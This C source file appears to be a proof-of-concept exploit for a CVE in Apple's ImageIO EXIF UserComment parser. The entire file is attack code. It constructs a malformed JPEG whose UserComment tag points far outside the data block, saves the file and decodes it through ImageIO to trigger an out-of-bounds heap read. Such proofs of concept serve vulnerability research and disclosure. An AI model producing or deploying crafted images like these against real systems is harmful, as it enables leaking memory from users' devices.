// iio.jpeg.comment · ImageIO · ReadUserComment · CVE-2026-112571 // EXIF UserComment short read leaves stale heap bytes // C twin of the Swift POC: builds the oob-offset UserComment JPEG and decodes it through ImageIO. // Build: clang -O2 -o cve-2026-112571 CVE-2026-112571.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation // Run: ./cve-2026-112571 [count] [value-offset] #include #include #include // ── byte buffer ── typedef struct { uint8_t *d; size_t n, cap; } buf; static void bneed(buf *b, size_t extra) { if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); } } static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; } static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; } static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; } static void be16(buf *b, uint16_t v) { bput(b, v >> 8); bput(b, v & 0xff); } static void be32(buf *b, uint32_t v) { bput(b, v >> 24); bput(b, (v >> 16) & 0xff); bput(b, (v >> 8) & 0xff); bput(b, v & 0xff); } // ── seed construction (from Cinder27 Sources: JPEGPayload.exifUserComment) ── static buf jpeg_user_comment(uint32_t count, uint32_t value_offset) { buf tiff = {0}; bcat(&tiff, "MM\x00\x2a", 4); be32(&tiff, 8); // IFD0 at 8 be16(&tiff, 1); // 1 entry be16(&tiff, 0x9286); // UserComment be16(&tiff, 7); // UNDEFINED be32(&tiff, count); // declared byte count be32(&tiff, value_offset); // value offset far past the block be32(&tiff, 0); // next IFD buf out = {0}; bcat(&out, "\xff\xd8", 2); // SOI uint32_t app1_len = 6 + (uint32_t)tiff.n + 2; bcat(&out, "\xff\xe1", 2); bput(&out, app1_len >> 8); bput(&out, app1_len & 0xff); bcat(&out, "Exif\x00\x00", 6); bcat(&out, tiff.d, tiff.n); bcat(&out, "\xff\xd9", 2); // EOI bfree(&tiff); return out; } // ── trigger: decode through ImageIO ── #include #include #include static int decode_image(const buf *img, const char **detail) { CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n); if (!cf) { *detail = "CFDataCreate failed"; return -1; } CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL); CFRelease(cf); if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; } size_t frames = CGImageSourceGetCount(src); // the metadata walk is where ReadUserComment reads count bytes at the oob offset CFDictionaryRef props = CGImageSourceCopyPropertiesAtIndex(src, 0, NULL); CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL); static char r[256]; if (cg) { snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s), properties %s", (size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames, props ? "present" : "absent"); CGImageRelease(cg); } else { snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames); } if (props) CFRelease(props); CFRelease(src); *detail = r; return cg ? 0 : -1; } int main(int argc, char **argv) { uint32_t count = argc > 1 ? (uint32_t)strtoul(argv[1], NULL, 0) : 0x400; uint32_t value_offset = argc > 2 ? (uint32_t)strtoul(argv[2], NULL, 0) : 0x4000; buf jpeg = jpeg_user_comment(count, value_offset); FILE *f = fopen("usercomment_oob.jpg", "wb"); if (f) { fwrite(jpeg.d, 1, jpeg.n, f); fclose(f); } const char *detail = NULL; int rc = decode_image(&jpeg, &detail); printf("CVE-2026-112571 · UserComment count=0x%x offset=0x%x · %s\n", count, value_offset, detail ? detail : "?"); printf("seed: usercomment_oob.jpg (%zu B) · exit code %d\n", jpeg.n, rc); bfree(&jpeg); return rc == 0 ? 0 : 1; }